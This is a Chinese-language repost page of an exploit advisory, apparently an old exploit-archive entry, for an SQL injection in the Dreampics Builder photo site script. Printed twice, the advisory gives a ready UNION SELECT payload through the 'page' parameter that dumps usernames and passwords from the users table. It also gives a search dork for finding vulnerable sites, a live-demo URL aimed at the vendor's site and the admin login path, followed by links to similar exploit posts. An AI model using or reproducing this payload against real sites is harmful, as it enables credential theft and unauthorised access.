佚名 向大家分享了Dreampics Builder (page) Remote SQL Injection Vulnerability ,其中包含vulnerability,vulnerability labs,vulnerability翻译,vulnerability scan,web vulnerability等知识点,遇到此问题的同学们可以参考下
#########################################################
#
# PICS BUILDER (page) SQL Injection Vulnerability
#========================================================
# Author: Hussin X =
# =
# Home : www.tryag.cc/cc =
# =
# email: darkangel_g85[at]Yahoo[DoT]com =
# =
#=========================================================
#
# script : http://www.dreamlevels.com/dreampics.php
#
# DorK : powered by Dreampics Builder
#
##########################################################
Exploit:
www.[target].com/Script/?page=-2 union select null,null,null,null,concat_ws(0x3a,user_login,user_password),null,null,null from users--
L!VE DEMO:
http://www.dreamlevels.com/demo/photosite/?page=-2 union select null,null,null,null,concat_ws(0x3a,user_login,user_password),null,null,null from users--
Admin Login :
/admin/
########################( Greetz )###########################
# #
# tryag.cc / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUR /str0ke #
# #
# Iraqihack / FAHD / mos_chori / Silic0n #
# #
#############################################################
Im IRAQi
</div>
#
# PICS BUILDER (page) SQL Injection Vulnerability
#========================================================
# Author: Hussin X =
# =
# Home : www.tryag.cc/cc =
# =
# email: darkangel_g85[at]Yahoo[DoT]com =
# =
#=========================================================
#
# script : http://www.dreamlevels.com/dreampics.php
#
# DorK : powered by Dreampics Builder
#
##########################################################
Exploit:
www.[target].com/Script/?page=-2 union select null,null,null,null,concat_ws(0x3a,user_login,user_password),null,null,null from users--
L!VE DEMO:
http://www.dreamlevels.com/demo/photosite/?page=-2 union select null,null,null,null,concat_ws(0x3a,user_login,user_password),null,null,null from users--
Admin Login :
/admin/
########################( Greetz )###########################
# #
# tryag.cc / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUR /str0ke #
# #
# Iraqihack / FAHD / mos_chori / Silic0n #
# #
#############################################################
Im IRAQi
</div>
您可能想查找下面的文章:
- Wysi Wiki Wyg 1.0 (index.php c) Local File Inclusion Vulnerability
- Facebook Newsroom CMS 0.5.0 Beta 1 Remote File Inclusion Vulnerability
- DreamNews Manager (id) Remote SQL Injection Vulnerability
- phpDatingClub (website.php page) Local File Inclusion Vulnerability
- Pluck 4.5.1 (blogpost) Local File Inclusion Vulnerability (win only)
- Pragyan CMS 2.6.2 (sourceFolder) Remote File Inclusion Vulnerability
- AlstraSoft Affiliate Network Pro (pgm) Remote SQL Injection Vulnerability
- Maian Cart 1.1 Insecure Cookie Handling Vulnerability
- Maian Gallery 2.0 Insecure Cookie Handling Vulnerability
- Maian Events 2.0 Insecure Cookie Handling Vulnerability